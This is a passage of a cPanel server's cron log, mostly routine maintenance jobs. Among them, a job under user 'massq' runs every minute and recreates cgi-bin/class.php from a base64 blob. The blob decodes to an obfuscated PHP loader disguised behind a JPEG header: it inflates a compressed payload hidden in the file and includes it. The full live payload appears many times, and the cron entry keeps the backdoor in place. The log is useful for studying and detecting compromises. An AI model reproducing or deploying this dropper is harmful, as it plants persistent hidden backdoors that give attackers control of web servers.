vFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:14:01 server CROND[19807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:14:01 server CROND[19808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:14:01 server CROND[19809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:15:01 server CROND[20187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:15:01 server CROND[20190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:15:01 server CROND[20189]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:15:01 server CROND[20192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:15:01 server CROND[20193]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:15:01 server CROND[20191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:15:01 server CROND[20197]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 01:15:01 server CROND[20194]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:16:01 server CROND[21221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:16:01 server CROND[21222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:16:01 server CROND[21224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:17:01 server CROND[21835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:17:01 server CROND[21836]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:17:01 server CROND[21837]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:18:01 server CROND[22221]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:18:01 server CROND[22222]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:18:01 server CROND[22223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:19:01 server CROND[22641]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:19:01 server CROND[22642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:19:01 server CROND[22643]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:20:01 server CROND[23247]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 01:20:01 server CROND[23248]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:20:01 server CROND[23260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:20:01 server CROND[23262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:20:01 server CROND[23263]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:20:01 server CROND[23265]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:20:01 server CROND[23261]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 01:20:01 server CROND[23266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:20:01 server CROND[23257]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 01:21:01 server CROND[24218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:21:01 server CROND[24219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:21:01 server CROND[24220]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:22:01 server CROND[24590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:22:01 server CROND[24591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:22:01 server CROND[24592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:23:01 server CROND[24974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:23:01 server CROND[24975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:23:01 server CROND[24976]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:24:01 server CROND[25357]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:24:01 server CROND[25358]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 01:24:01 server CROND[25356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:25:01 server CROND[25738]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 01:25:01 server CROND[25746]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 01:25:01 server CROND[25748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 01:25:01 server CROND[25751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 01:25:01 server CROND[25750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 01:25:01 server CROND[25747]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
